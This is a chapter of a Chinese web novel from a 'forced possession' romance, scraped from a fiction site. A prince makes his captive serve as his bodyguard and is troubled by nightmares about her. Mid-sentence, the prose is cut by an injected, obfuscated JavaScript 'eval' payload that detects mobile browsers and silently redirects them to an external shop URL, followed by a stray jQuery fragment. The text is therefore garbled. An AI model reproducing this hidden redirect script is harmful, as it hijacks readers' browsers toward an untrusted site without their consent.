文趣网 > 其他小说 > 郎君不善(强取豪夺) > 14. 第 14 章
    “比武”结束,本来还在暗自庆幸的长闻听到沈白叙说出这句话后,忍不住瞪大了眼睛:“什么?她当贴身侍卫,那我呢?”

    沈白叙不满地看了他一眼:“你自然也是,急什么。”

    长闻还想说什么,潘儿从身后扯了一下他的衣服,给他丢了个眼色,这才叫他硬生生把话憋了回去。

    回去的路上,潘儿一路抱怨:“长闻,不是我说你,你跟着王爷这样久了,除了武功见长,怎么办事却越来越不着门道了?”

    “王爷哪里想的是比武切磋,分明就是动了意兴,那姑娘细皮嫩肉的,哪里是做侍卫的料,你担心她抢你的位置,不如担心担心我。”

    长闻本想反驳,可细想想又觉得潘儿说的在理,便挠头不语。

    今日倒是个艳阳天,孟清芷换上侍卫的衣服,草草洗漱后吃了两口饭,便开始跟着侍卫们在沈白叙待的地方站岗。

    临近年关,宫里也没什么事情,沈白叙这两日白天都是在书房。

    他偶尔看书,偶尔整理几日前收到的密信,偶尔抬眼看去,从他的角度看到窗外,有一白到发光的人默默站着,脖颈上的痣鲜艳欲滴。

    她不抱怨,也不偷懒,只沉默着,嘴唇微微翘起,像是给她无处释放的倔强找到最后的宣泄口。

    到了交班时间,她一言不发地随着侍卫们出去,在外院随便找了个地方坐下,将尚有余温的白馒头啃了一口。

    “你是孟姑娘不是?”一个婆子在她面前站定,小心翼翼地问。

    “我姓刘,是东院的管家婆子,王爷叫我来寻你。”不等她回答,刘婆子继续道。

    孟清芷只好捧着没吃完的馒头,回到书房外等着。

    等不及了,她就小口小口地吃着馒头,不一会儿就吃完了,这才觉得饥饿感减轻了些。

    沈白叙自屋内看去,看到她清冷的面容从容吃着东西,这才感慨一个人的风骨真是浑然天成,即便是站在寒风里吃东西,也这样从容不迫。

    叫她进来,她便离得远远的,低着头。

    屋内的暖意让人觉得有些头晕,书房未曾有什么熏香,倒是墨香与书香混合在一起,组成了好闻的味道,叫她暂且忘了自己的艰难处境。

    她耳边听到梅儿在书房中,柔声细语问沈白叙午膳要用些什么。

    沈白叙明显已经无话了,梅儿临走之前又不忘柔情似水地叮嘱道:“王爷,近几日阳光虽好,到底还是冷的,奴婢叫人把披风送来。”

    这样温柔的话语,只有对着心上人方能说得出口。

    孟清芷低着头,嘴角忍不住勾起一抹嘲讽的笑意。

    这个梅儿还真是天真可笑,男人有几个信得过?

    若沈白叙真喜欢她,也不至于这么久她还是个普通丫鬟。

    以沈白叙的心狠手辣,往后梅儿若是痴缠,少不了她受苦的时候。

    梅儿退下时,经过孟清芷身边,不经意间瞥了一眼,见她如此打扮,神色惊疑不定。

    随即,她就听见沈白叙的声音:“表侄女,上前来研墨。”

    孟清芷没料到他在这个时候使唤她,只好压下心中的不快,慢步上前去。

    “王爷,这等事叫表小姐做是不是不妥?还是奴婢来吧。”梅儿震惊过后,马上反应过来,即刻上前去,自然地去拿孟清芷手上的墨条。

    孟清芷站着没有出声。

    梅儿毕竟是沈白叙的心腹丫鬟,即便再怎么表现,她也无从指摘。

    更何况,她昨夜睡得不好,能省些体力就省些,身体才是最大的本钱。

    沈白叙淡然向自己身边瞥了一眼,冰冷的语气却像是凝聚了寒冰千层:“让你停了么?”

    话自然不是冲着梅儿说的,孟清芷垂下眸子,转动手腕,继续研磨起来。

    可梅儿却面色一愣,分明难看起来。

    “你先下去罢。”沈白叙眼神盯在书上,淡淡说道。

    很快,书房中只剩下他们两个。

    沈白叙继续看着书,察觉到一股淡淡的香气自身旁传来。不像是女子身上用的胭脂香气,而是一种很干净的气息,譬如竹林中飘过的清风。

    许是墨条里掺的香料吧。

    余光看去,身边的女子并没有半分不适的反应,仿佛她在这里是天经地义一般。

    胆子很大,这是他初见她时便有的印象。

    一直到夜幕降临,沈白叙取出信纸,写了一封回信,堪堪将孟清芷研磨的墨汁用完,这才放下笔。

    “表姑母来信,她老人家很是记挂你。”沈白叙忽然开口,同时看向孟清芷。

    “你究竟是如何蛊惑了她老人家?”他是真的有几分疑惑。

    余晖掩映,半晦半明的光笼罩在孟清芷周身,她脖子上的胭脂痣若隐若现。

    就在沈白叙以为自己不会听到答案时,孟清芷轻声开口:“她老人家生性良善,自辨黑白善恶。”

    沈白叙出乎意料地笑了笑。

    这是说他生性残暴、不辨是非了。

    一轮圆月皎皎挂在天边,寒风凛冽,孟清芷将手揣进衣袖里,止不住地跺着脚。

    今日才做贴身侍卫,便安排了值夜。

    也不知何事这样要紧,沈白叙竟然要在书房彻夜忙碌。

    冻到完全没有困意,她和廊下一起值夜的侍卫孙朋面面相觑,可谁都没有开口讲话。

    孙朋人虽年轻,但早就听说了孟清芷的事。王爷下的命令谁敢多问?

    “几更了?”孟清芷还是忍不住,轻声问。

    五更交班,她有点熬不住了。

    “啊?”孙朋吓了一跳,结结巴巴道:“可能有三更了吧。”

    孙朋声音年轻,许是没怎么和女子说过话,整张脸在冬夜中泛起红晕来,人也不抖了。

    “你这是第几次值夜?”她忍不住又问。

    “第…第二次。”

    原来也是个新兵蛋子,怪不得也这样生疏。

    “以前都是师父带我一起值夜的。”孙朋忍不住解释了一句。

    “你师父是长闻吗?”孟清芷不禁有些好奇。

    “不是。”孙朋摇摇头:“你没见过他。”

    孟清芷发现和人聊天似乎可以缓解寒意。她见孙朋忽然闭上了嘴,便只好打起精神来找话题:“他叫什么?”

    孙朋却噤若寒蝉,不再吭声。

    孟清芷差点以为他在刚刚那一瞬间被冻死了,又连问了几句

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17658986|206974||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,他都紧闭着嘴,她这才察觉出不对劲来。

    缓缓回头,斜后方书房大门内,有一道高大的黑影无声无息地出现在书房厚重的棉布帘内,不知道已经站了多久。

    孟清芷收回目光,镇定自若地继续值夜。

    可身后传来的窥伺的视线,明晃晃地盯在她的身上。

    如芒刺背,如坐针毡。

    “表侄女。”沈白叙的声音给这场无声的对峙落下帷幕:“进来。”

    他的语气很不好,因为他方才又做噩梦了。

    明明她已经成了他的阶下囚,已经不再具备威胁性,但他却还是梦到她抓着带血的匕首,在他身上刺出几个孔洞。

    为什么这噩梦便过不去了呢?

    孟清芷跟着沈白叙的步伐缓缓进去,沈白叙猛地停下,她还没来得及站稳,便听到沈白叙猝然发问:“表侄女可懂得巫蛊之术?”

    “不懂。”孟清芷虽不知道他又想到了什么,但还是斩钉截铁地回答了他。

    沈白叙转身,面无表情地盯着她的双眼。

    这双眼睛一如既往的理直气壮,但这一次难掩疲惫神色。

    沈白叙破天荒地没有为难她,还叫她提前回去休息了。

    她去之后,沈白叙唤了医馆的李郎中来。

    听完沈白叙的描述,李郎中摸摸自己的胡子,皱着眉分析起来。

    “王爷此番惊梦难眠,可见是心脉受损。但王爷雄心壮气,又不甚合理。”李郎中不知沈白叙噩梦源头,见他遮遮掩掩不肯说,联想到前些时日江城军营传闻,心中大约有了几分猜测。

    “若是王爷心中有不平事,心有不甘,可用旧景重现法来疗伤。”

    “所谓旧景重现,乃是将当日场景复现出来,力求当日所不能为之事,圆当日之憾。过后心结自解。”

    沈白叙点点头,心里却暗骂一句庸医。

    不是任何情景都能再现,即便刻意模仿,心境也大不相同了。

    更何况,孟清芷如今已经是他名义上的表侄女,他如何能……?

    送走了李郎中,天色才微微亮。

    孟清芷肩头伤疤未曾好全,这一觉睡得也不好。梦里总有狰狞巨兽化作人形啃咬她的皮肉,惊醒后仍心有余悸。

    果然,才睡到天亮,便有一个婆子过来,又把她叫了去。

    这一次很近,是在东院正房,沈白叙住的地方。

    沈白叙也是一夜未眠,眼中布满血丝,神态却依旧平静,他放下手里的书,淡然看过来:“坐。”

    孟清芷不知他葫芦里卖的是什么药,静待他开口。

    桌上摆着几碟精致的点心并两盏热气腾腾的茶。孟清芷已有多日未曾好好用膳,饥肠辘辘,本来不喜甜食的她竟然多了几分食欲。

    沈白叙一反常态,和颜悦色地叫她随意用些点心,在他反复催促下,她才犹豫地拿起了一块蝴蝶酥。

    沈白叙甚少有这样张口结舌的时候。

    起先他出现噩梦时,曾在江城寻过郎中,那位郎中说,待寻到仇人,日日折辱,心病自解。

    如今寻到了,病情并无好转,京城的李郎中又告诉他,需要旧景重现。

    他要如何同她说呢?